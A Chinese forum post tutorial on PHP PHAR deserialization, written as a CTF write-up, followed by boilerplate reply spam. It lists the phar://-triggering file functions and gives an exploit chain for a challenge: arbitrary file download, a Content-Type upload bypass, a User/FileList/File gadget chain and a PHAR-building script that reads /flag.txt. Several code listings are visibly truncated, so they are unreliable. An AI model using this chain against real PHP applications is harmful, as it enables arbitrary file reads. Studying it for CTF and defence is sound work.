搜索

查看: 3086|回复: 11

[PHP] PHP开发技巧之PHAR反序列化详解

[复制链接]
发表于 2023-5-4 17:06:36 | 显示全部楼层 |阅读模式
Editor 2023-5-4 17:06:36 3086 11 看全部
目录
  • 引文
  • 前置知识
  • PHAR
  • PHAR文件结构
  • PHAR文件生成样例
  • 实战
  • 结语
    引文
    之前将PHP反序列化的基础知识讲了一遍,不知道大家学习的怎么样了,今天给大家带来PHP反序列化的进阶知识:PHAR反序列化,也是之前本人在CTF比赛中经常遇到的一种php反序列化的进阶使用吧,下面先给大家讲一讲PHAR反序列化的前置知识。

    前置知识

    2022101008575708.png

    2022101008575708.png


    PHAR
    软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容,这里就是我们反序列化漏洞的利用点。
    接下来带大家看一下如何构造phar文件:
    PHAR状态是只读的,创建一个的Phar文件需要允许写入Phar文件,这需要修改一下:
    php.ini:phar.readonly = Off;  #php版本要大于等于5.2
    其中php.ini为php的配置文件。

    PHAR文件结构
    上面简单介绍了phar的基本定义,接下来我们学习一下PHAR文件的基本结构:
    A stub
    phar文件的标志,具体代码为:
    xxx
    注意的是phar文件始终要以__HALT_COMPILER();?>来进行结尾才能被识别为PHAR文件。
    A manifest describing the contents
    以序列化的形式存储用户自定义的meta-data,也是我们利用反序列化漏洞的点。
    The file contents
    压缩的文件内容。
    signature
    签名信息,放在文件末尾。

    PHAR文件生成样例
    了解了以上信息,我们就可以尝试来构建一个PHAR文件的生成,样例代码如下:
    startBuffering();
        $phar->setStub("");
        $o = new User();
        $o->name = "XINO";
        $phar->setMetadata($o);
        $phar->addFromString("test.txt", "test");
        $phar->stopBuffering();
    ?>
    运行之后结果如下:

    2022101008575709.png

    2022101008575709.png


    成功生成了名为XINO.phar的phar类型文件,我们放进010editor查看:

    20221010085757010.png

    20221010085757010.png


    看到 meta-data 序列化的内容成功的保存到了文件中。我们再用phar协议去读取就好了。这里需要注意的一点是:一些文件函数 通过 phar:// 伪协议解析phar文件时都会将meta-data反序列化,例如:
    fileatime    filectime        filemtime    file_exists    file_get_contents    file_put_contents
    file         filegroup        fopen        fileinode      fileowner            fileperms
    is_dir       is_file          is_link      is_executable  is_readable          is_writeable
    is_wirtble   parse_ini_file   copy         unlink         stat                 readfile        info_file   

    实战
    学完上面的内容后,我们便可以尝试一下实战了,先看看利用条件:
    phar文件要能够上传到服务器端
    要有可用的魔术方法作为"跳板"
    文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
    下面我们来看一个例题:

    20221010085757011.png

    20221010085757011.png


    进去是一个登陆界面,我们注册登陆进去,发现了一个文件上传的点。要求得文件类型只能是gif/jpg/png的类型,需要抓包更改其Content-Type为image/jpeg或其它图片格式的对应字符串。抓包后会发现POST传参download处存在任意文件下载:

    20221010085757012.png

    20221010085757012.png


    下载源码:index.php,delete.php,download.php,class.php
    class.php:
    db = $db;
        }
        public function user_exist($username) {
            $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
            $stmt->bind_param("s", $username);
            $stmt->execute();
            $stmt->store_result();
            $count = $stmt->num_rows;
            if ($count === 0) {
                return false;
            }
            return true;
        }
        public function add_user($username, $password) {
            if ($this->user_exist($username)) {
                return false;
            }
            $password = sha1($password . "SiAchGHmFx");
            $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
            $stmt->bind_param("ss", $username, $password);
            $stmt->execute();
            return true;
        }
        public function verify_user($username, $password) {
            if (!$this->user_exist($username)) {
                return false;
            }
            $password = sha1($password . "SiAchGHmFx");
            $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
            $stmt->bind_param("s", $username);
            $stmt->execute();
            $stmt->bind_result($expect);
            $stmt->fetch();
            if (isset($expect) && $expect === $password) {
                return true;
            }
            return false;
        }
        public function __destruct() {
            $this->db->close();
        }
    }
    class FileList {
        private $files;
        private $results;
        private $funcs;
        public function __construct($path) {
            $this->files = array();
            $this->results = array();
            $this->funcs = array();
            $filenames = scandir($path);
            $key = array_search(".", $filenames);
            unset($filenames[$key]);
            $key = array_search("..", $filenames);
            unset($filenames[$key]);
            foreach ($filenames as $filename) {
                $file = new File();
                $file->open($path . $filename);
                array_push($this->files, $file);
                $this->results[$file->name()] = array();
            }
        }
        public function __call($func, $args) {
            array_push($this->funcs, $func);
            foreach ($this->files as $file) {
                $this->results[$file->name()][$func] = $file->$func();
            }
        }
        public function __destruct() {
            $table = '[table]';
            $table .= '[tr]';
            foreach ($this->funcs as $func) {
                $table .= '' . htmlentities($func) . '[/td]';
            }
            $table .= 'Opt[/td]';
            $table .= '';
            foreach ($this->results as $filename => $result) {
                $table .= '[tr]';
                foreach ($result as $func => $value) {
                    $table .= '[td]' . htmlentities($value) . '[/td]';
                }
                $table .= '[td]下载 / 删除[/td]';
                $table .= '[/tr]';
            }
            echo $table;
        }
    }
    class File {
        public $filename;
        public function open($filename) {
            $this->filename = $filename;
            if (file_exists($filename) && !is_dir($filename)) {
                return true;
            } else {
                return false;
            }
        }
        public function name() {
            return basename($this->filename);
        }
        public function size() {
            $size = filesize($this->filename);
            $units = array(' B', ' KB', ' MB', ' GB', ' TB');
            for ($i = 0; $size >= 1024 && $i filename);
        }
        public function close() {
            return file_get_contents($this->filename);
        }
    }
    ?>
    delete.php
    open($filename)) {
        $file->detele();
        Header("Content-type: application/json");
        $response = array("success" => true, "error" => "");
        echo json_encode($response);
    } else {
        Header("Content-type: application/json");
        $response = array("success" => false, "error" => "File not exist");
        echo json_encode($response);
    }
    ?>
    简单分析一下:
    创建一个user的对象,而且db变量是一个FileList对象,文件名为flag的路径。这样的话,当user对象销毁时,db变量的close方法被执行;而db变量没有close方法,这样就会触发call魔术方法(不理解的可以去看之前的文章),于是执行File对象的close方法。通过分析FileList类的析构方法可以知道,close方法执行后存在results变量里的结果会加入到table变量中被打印出来,也就是flag会被打印出来($this->filename=flag文件 )。
    于是我们尝试写一个生成PHAR文件的脚本:
    filename = "/flag.txt";
            $this->files = array($file);
        }
    }
    $a = new User();
    $a->db = new FileList();
    $phar = new Phar("XINO.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->addFromString("exp.txt", "test"); //添加要压缩的文件
    $phar->setStub(""); //设置stub
    $phar->setMetadata($a); //将自定义的meta-data存入manifest
    //签名自动计算
    $phar->stopBuffering();
    ?>
    生成文件后将PHAR文件改文件类型然后上传,之后用PHAR协议去读取就可以得到flag。

    20221010085757013.png

    20221010085757013.png


    结语
    今天比较详细的讲了PHAR反序列化漏洞的原理以及应用方法,可能刚开始学不太好理解,可以根据之前PHP反序列化的思路去理解一下。有兴趣的小伙伴可以自己去搭建靶机来进行测试,喜欢的小伙伴不妨一键三连。
    以上就是PHP开发技巧之PHAR反序列化详解的详细内容,更多关于PHP开发PHAR反序列化的资料请关注知鸟论坛其它相关文章!
  • 知鸟论坛永久地址发布页:www.zn60.me
    回复

    使用道具 举报

    发表于 2023-6-28 17:12:01 | 显示全部楼层
    普通人物怨 2023-6-28 17:12:01 看全部
    既然你诚信诚意的推荐了,那我就勉为其难的看看吧!知鸟论坛不走平凡路。
    知鸟论坛永久地址发布页:www.zn60.me
    回复

    使用道具 举报

    发表于 2023-6-28 21:16:18 | 显示全部楼层
    米老鼠和蓝精鼠v 2023-6-28 21:16:18 看全部
    我看不错噢 谢谢楼主!知鸟论坛越来越好!
    知鸟论坛永久地址发布页:www.zn60.me
    回复

    使用道具 举报

    发表于 2023-6-29 09:48:00 | 显示全部楼层
    尘埃416 2023-6-29 09:48:00 看全部
    既然你诚信诚意的推荐了,那我就勉为其难的看看吧!知鸟论坛不走平凡路。
    知鸟论坛永久地址发布页:www.zn60.me
    回复

    使用道具 举报

    发表于 2023-6-29 16:02:33 | 显示全部楼层
    我的苦恼冉 2023-6-29 16:02:33 看全部
    楼主,大恩不言谢了!知鸟论坛是最棒的!
    知鸟论坛永久地址发布页:www.zn60.me
    回复

    使用道具 举报

    发表于 2023-6-29 16:59:17 | 显示全部楼层
    幸福341 2023-6-29 16:59:17 看全部
    我看不错噢 谢谢楼主!知鸟论坛越来越好!
    知鸟论坛永久地址发布页:www.zn60.me
    回复

    使用道具 举报

    发表于 2023-6-29 17:18:52 | 显示全部楼层
    十二音阶囤 2023-6-29 17:18:52 看全部
    楼主太厉害了!楼主,I*老*虎*U!我觉得知鸟论坛真是个好地方!
    知鸟论坛永久地址发布页:www.zn60.me
    回复

    使用道具 举报

    发表于 2023-6-29 19:02:21 | 显示全部楼层
    素色流年783 2023-6-29 19:02:21 看全部
    楼主发贴辛苦了,谢谢楼主分享!我觉得知鸟论坛是注册对了!
    知鸟论坛永久地址发布页:www.zn60.me
    回复

    使用道具 举报

    发表于 2023-6-29 23:25:50 | 显示全部楼层
    心随674 2023-6-29 23:25:50 看全部
    这东西我收了!谢谢楼主!知鸟论坛真好!
    知鸟论坛永久地址发布页:www.zn60.me
    回复

    使用道具 举报

    发表于 2023-6-30 09:46:49 | 显示全部楼层
    xinting_6ym 2023-6-30 09:46:49 看全部
    楼主,大恩不言谢了!知鸟论坛是最棒的!
    知鸟论坛永久地址发布页:www.zn60.me
    回复

    使用道具 举报

    • 您可能感兴趣
    点击右侧快捷回复 【请勿灌水】
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则 返回列表

    RSS订阅| SiteMap| 小黑屋| 赞兔论坛
    联系邮箱E-mail:zniao@foxmail.com
    快速回复 返回顶部 返回列表